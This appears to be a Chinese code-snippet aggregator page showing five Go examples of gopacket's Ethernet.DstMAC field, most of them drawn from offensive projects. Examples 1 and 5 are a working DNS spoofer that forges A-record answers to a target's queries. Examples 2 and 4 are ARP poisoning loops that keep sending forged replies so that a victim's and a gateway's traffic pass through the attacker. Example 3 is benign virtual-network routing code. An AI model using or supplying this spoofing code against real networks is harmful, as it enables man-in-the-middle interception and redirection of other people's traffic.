当前位置: 首页>>代码示例>>Golang>>正文


Golang Ethernet.DstMAC方法代码示例

本文整理汇总了Golang中github.com/google/gopacket/layers.Ethernet.DstMAC方法的典型用法代码示例。如果您正苦于以下问题:Golang Ethernet.DstMAC方法的具体用法?Golang Ethernet.DstMAC怎么用?Golang Ethernet.DstMAC使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在github.com/google/gopacket/layers.Ethernet的用法示例。


在下文中一共展示了Ethernet.DstMAC方法的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Golang代码示例。

示例1: craftAnswer

/*
    FUNCTION: craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte{
    RETURNS: Byte array containing the spoofed response DNS packet data
    ARGUMENTS:
								*layers.Ethernet ethernetLayer - the ethernet part of the packet recieved
								*layers.DNS dnsLayer - the dns part of the packet recieved
                *layers.IPv4 ipLayer - the ip part of the packet recieved
                *layers.UDP udpLayer - the udp part of the packet recieved

    ABOUT:
    Crafts a spoofed dns packet using the incoming query.
*/
func craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte {

	//if not a question return
	if dnsLayer.QR || ipLayer.SrcIP.String() != target {
		return nil
	}

	//must build every layer to send DNS packets
	ethMac := ethernetLayer.DstMAC
	ethernetLayer.DstMAC = ethernetLayer.SrcMAC
	ethernetLayer.SrcMAC = ethMac

	ipSrc := ipLayer.SrcIP
	ipLayer.SrcIP = ipLayer.DstIP
	ipLayer.DstIP = ipSrc

	srcPort := udpLayer.SrcPort
	udpLayer.SrcPort = udpLayer.DstPort
	udpLayer.DstPort = srcPort
	err = udpLayer.SetNetworkLayerForChecksum(ipLayer)
	checkError(err)

	var answer layers.DNSResourceRecord
	answer.Type = layers.DNSTypeA
	answer.Class = layers.DNSClassIN
	answer.TTL = 200
	answer.IP = ipAddr

	dnsLayer.QR = true

	for _, q := range dnsLayer.Questions {
		if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
			continue
		}

		answer.Name = q.Name

		dnsLayer.Answers = append(dnsLayer.Answers, answer)
		dnsLayer.ANCount = dnsLayer.ANCount + 1
	}

	buf := gopacket.NewSerializeBuffer()
	opts := gopacket.SerializeOptions{
		FixLengths:       true,
		ComputeChecksums: true,
	}

	err = gopacket.SerializeLayers(buf, opts, ethernetLayer, ipLayer, udpLayer, dnsLayer)
	checkError(err)

	return buf.Bytes()
}
开发者ID:razc411,项目名称:DNSMangler,代码行数:64,代码来源:main.go

示例2: arpPoison

/*
    FUNCTION: arpPoison(targetMAC, gateway, gatewayMAC string){
    RETURNS: Nothing
    ARGUMENTS:
                string targetMAC - the victim mac address for spoofing
								string gateway - the gateway IP the victim uses
								string gatewayMAC - the mac address of the gateway the vicitim uses

    ABOUT:
    Performs arp poisoning of the target machine. Sets its traffic to all come
		through the host machine, and sets the gateway to redirect its traffic for the victim to this host.
*/
func arpPoison(targetMAC, gateway, gatewayMAC string) {

	// i lost my mind over this, the parseip function is broke and adds a bucket of worthless
	// bytes to the beginning of the array, I wish I did this in C
	// I GUESS I DID C
	gw := (net.ParseIP(gateway))[12:]
	tg := (net.ParseIP(target))[12:]
	tgm, _ := net.ParseMAC(targetMAC)
	gwm, _ := net.ParseMAC(gatewayMAC)

	fmt.Print("========================")
	fmt.Printf("GateWay IP:%s\nTarget IP:%s\nGateway MAC:%s\nTarget MAC:%s\n", gateway, target, gatewayMAC, targetMAC)
	fmt.Print("========================")

	ethernetPacket := layers.Ethernet{}
	ethernetPacket.DstMAC = tgm
	ethernetPacket.SrcMAC = macAddr
	ethernetPacket.EthernetType = layers.EthernetTypeARP

	arpPacket := layers.ARP{}
	arpPacket.AddrType = layers.LinkTypeEthernet
	arpPacket.Protocol = 0x0800
	arpPacket.HwAddressSize = 6
	arpPacket.ProtAddressSize = 4
	arpPacket.Operation = 2

	//poison the target
	arpPacket.SourceHwAddress = macAddr
	arpPacket.SourceProtAddress = gw
	arpPacket.DstHwAddress = tgm
	arpPacket.DstProtAddress = tg

	gwEthernetPacket := ethernetPacket
	gwARPPacket := arpPacket

	//poison the gateway
	gwARPPacket.SourceProtAddress = tg
	gwARPPacket.DstHwAddress = gwm
	gwARPPacket.DstProtAddress = gw

	for {
		//poison target
		writePoison(arpPacket, ethernetPacket)
		time.Sleep(1 * time.Second)
		//poison gateway
		writePoison(gwARPPacket, gwEthernetPacket)
		time.Sleep(5 * time.Second)
	}

}
开发者ID:razc411,项目名称:DNSMangler,代码行数:62,代码来源:main.go

示例3: handleTCP

func (vnet *VNET) handleTCP(pkt *Packet, now time.Time) {
	// fmt.Printf("TCP: %08x %s\n", pkt.Flags, pkt.String())

	defer pkt.Release()

	var err error

	if bytes.Equal(pkt.Eth.DstMAC, layers.EthernetBroadcast[:]) {
		// ignore
		return
	}

	if pkt.DstHost == nil {
		// ignore
		return
	}
	if !pkt.DstHost.Up {
		log.Printf("destination is down: %s", pkt.DstHost.Name)
		// ignore
		return
	}

	var (
		srcIP   net.IP
		dstIP   net.IP
		srcPort = uint16(pkt.TCP.SrcPort)
		dstPort = uint16(pkt.TCP.DstPort)
	)

	if pkt.IPv4 != nil {
		srcIP = CloneIP(pkt.IPv4.SrcIP.To16())
		dstIP = CloneIP(pkt.IPv4.DstIP.To16())
	} else if pkt.IPv6 != nil {
		srcIP = CloneIP(pkt.IPv6.SrcIP.To16())
		dstIP = CloneIP(pkt.IPv6.DstIP.To16())
	} else {
		log.Printf("invalid protocol")
		// ignore
		return
	}

	route := vnet.routes.GetTable().Lookup(
		protocols.TCP,
		srcIP, dstIP, srcPort, dstPort)

	if route == nil {
		rule, found := vnet.rules.GetTable().Lookup(protocols.TCP, pkt.DstHost.ID, dstPort)
		if !found {
			log.Printf("no rule")
			// ignore
			return
		}

		var (
			ruleDstIP   = rule.DstIP
			ruleDstPort = rule.DstPort
			hostIP      net.IP
			hostPort    uint16
		)

		if ruleDstIP != nil {
			hostIP = dstIP
			hostPort, err = vnet.ports.Allocate(pkt.DstHost.ID, protocols.TCP, 0)
			if err != nil {
				// ignore
				log.Printf("TCP/error: %s", err)
				return
			}

			var r routes.Route
			r.Protocol = protocols.TCP
			r.HostID = pkt.DstHost.ID
			r.SetInboundSource(hostIP, hostPort)
			r.SetInboundDestination(vnet.system.GatewayIPv4(), vnet.proxy.TCPPort)
			r.SetOutboundDestination(ruleDstIP, rule.DstPort)
			route, err = vnet.routes.AddRoute(&r)
			if err != nil {
				// ignore
				log.Printf("TCP/error: %s", err)
				return
			}

			ruleDstIP = vnet.system.GatewayIPv4()
			ruleDstPort = vnet.proxy.TCPPort
		}

		if ruleDstIP == nil {
			gateway := vnet.hosts.GetTable().LookupByName("gateway")
			if gateway == nil || !gateway.Up {
				log.Printf("no gateway")
				// ignore
				return
			}

			if dstIP.To4() != nil {
				if len(gateway.IPv4Addrs) > 0 {
					ruleDstIP = gateway.IPv4Addrs[0]
				}
			} else {
				if len(gateway.IPv6Addrs) > 0 {
//.........这里部分代码省略.........
开发者ID:fd,项目名称:switchboard,代码行数:101,代码来源:handle_tcp.go

示例4: arpPoison

func arpPoison(device string, routerMac net.HardwareAddr, routerIP net.IP, localMac net.HardwareAddr, localIP net.IP, victimMac net.HardwareAddr, victimIP net.IP) {

	// Open NIC at layer 2
	handle, err := pcap.OpenLive(device, 1024, false, pcap.BlockForever)
	if err != nil {
		fmt.Println(err)
		os.Exit(1)
	}
	defer handle.Close()

	// create an empty ethernet packet
	ethernetPacket := layers.Ethernet{}
	// create an empty ARP packet
	arpPacket := layers.ARP{}
	// pre populate Arp Packet Info
	arpPacket.AddrType = layers.LinkTypeEthernet
	arpPacket.HwAddressSize = 6
	arpPacket.ProtAddressSize = 4
	arpPacket.Operation = 2
	arpPacket.Protocol = 0x0800

	// continiously put arp responses on the wire to ensure a good posion.
	for {
		/******** posion arp from victim to local ********/

		//set the ethernet packets' source mac address
		ethernetPacket.SrcMAC = localMac

		//set the ethernet packets' destination mac address
		ethernetPacket.DstMAC = victimMac

		//set the ethernet packets' type as ARP
		ethernetPacket.EthernetType = layers.EthernetTypeARP

		// create a buffer
		buf := gopacket.NewSerializeBuffer()
		opts := gopacket.SerializeOptions{}

		// customize ARP Packet info

		arpPacket.SourceHwAddress = localMac
		arpPacket.SourceProtAddress = routerIP
		arpPacket.DstHwAddress = victimMac
		arpPacket.DstProtAddress = victimIP

		// set options for serializing (this probably isn't needed for an ARP packet)

		// serialize the data (serialize PREPENDS the data)
		err = arpPacket.SerializeTo(buf, opts)
		if err != nil {
			fmt.Println(err)
			os.Exit(1)
		}

		err = ethernetPacket.SerializeTo(buf, opts)
		if err != nil {
			fmt.Println(err)
			os.Exit(1)
		}

		// turn the packet into a byte array
		packetData := buf.Bytes()

		//remove padding and write to the wire
		handle.WritePacketData(packetData[:42])
		//Sleep so we don't flood with ARPS
		time.Sleep(50 * time.Millisecond)
		/******** end posion arp from victim to local ********/

		/******** posion arp from router to local ********/

		//set the ethernet packets' source mac address
		ethernetPacket.SrcMAC = localMac

		//set the ethernet packets' destination mac address
		ethernetPacket.DstMAC = victimMac

		//set the ethernet packets' type as ARP
		ethernetPacket.EthernetType = layers.EthernetTypeARP

		// customize ARP Packet info

		arpPacket.SourceHwAddress = localMac
		arpPacket.SourceProtAddress = victimIP
		arpPacket.DstHwAddress = routerMac
		arpPacket.DstProtAddress = routerIP

		// set options for serializing (this probably isn't needed for an ARP packet)

		// serialize the data (serialize PREPENDS the data)
		err = arpPacket.SerializeTo(buf, opts)
		if err != nil {
			fmt.Println(err)
			os.Exit(1)
		}

		err = ethernetPacket.SerializeTo(buf, opts)
		if err != nil {
			fmt.Println(err)
			os.Exit(1)
//.........这里部分代码省略.........
开发者ID:gh0std4ncer,项目名称:gogospoofdns,代码行数:101,代码来源:arp.go

示例5: spoof


//.........这里部分代码省略.........
			fmt.Println(string(dnsLayer.Questions[i].Name))
		}

		// set this to be a response
		dnsLayer.QR = true

		// if recursion was requested, it is available
		if dnsLayer.RD {
			dnsLayer.RA = true
		}

		// for each question
		for i = 0; i < dnsLayer.QDCount; i++ {

			// get the question
			q = dnsLayer.Questions[i]

			// verify this is an A-IN record question
			if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
				continue
			}

			// copy the name across to the response
			a.Name = q.Name

			// append the answer to the original query packet
			dnsLayer.Answers = append(dnsLayer.Answers, a)
			dnsLayer.ANCount = dnsLayer.ANCount + 1

		}

		// swap ethernet macs
		ethMac = ethLayer.SrcMAC
		ethLayer.SrcMAC = ethLayer.DstMAC
		ethLayer.DstMAC = ethMac

		// swap the ip
		ipv4Addr = ipv4Layer.SrcIP
		ipv4Layer.SrcIP = ipv4Layer.DstIP
		ipv4Layer.DstIP = ipv4Addr

		// swap the udp ports
		udpPort = udpLayer.SrcPort
		udpLayer.SrcPort = udpLayer.DstPort
		udpLayer.DstPort = udpPort

		// set the UDP to be checksummed by the IP layer
		err = udpLayer.SetNetworkLayerForChecksum(&ipv4Layer)
		if err != nil {
			panic(err)
		}

		// serialize packets
		err = gopacket.SerializeLayers(outbuf, serialOpts, &ethLayer, &ipv4Layer, &udpLayer, &dnsLayer)
		if err != nil {
			panic(err)
		}

		// write packet
		err = ifaceHandle.WritePacketData(outbuf.Bytes())
		if err != nil {
			panic(err)
		}

		fmt.Println("Response sent")
开发者ID:gh0std4ncer,项目名称:gogospoofdns,代码行数:66,代码来源:spoof.go


注:本文中的github.com/google/gopacket/layers.Ethernet.DstMAC方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。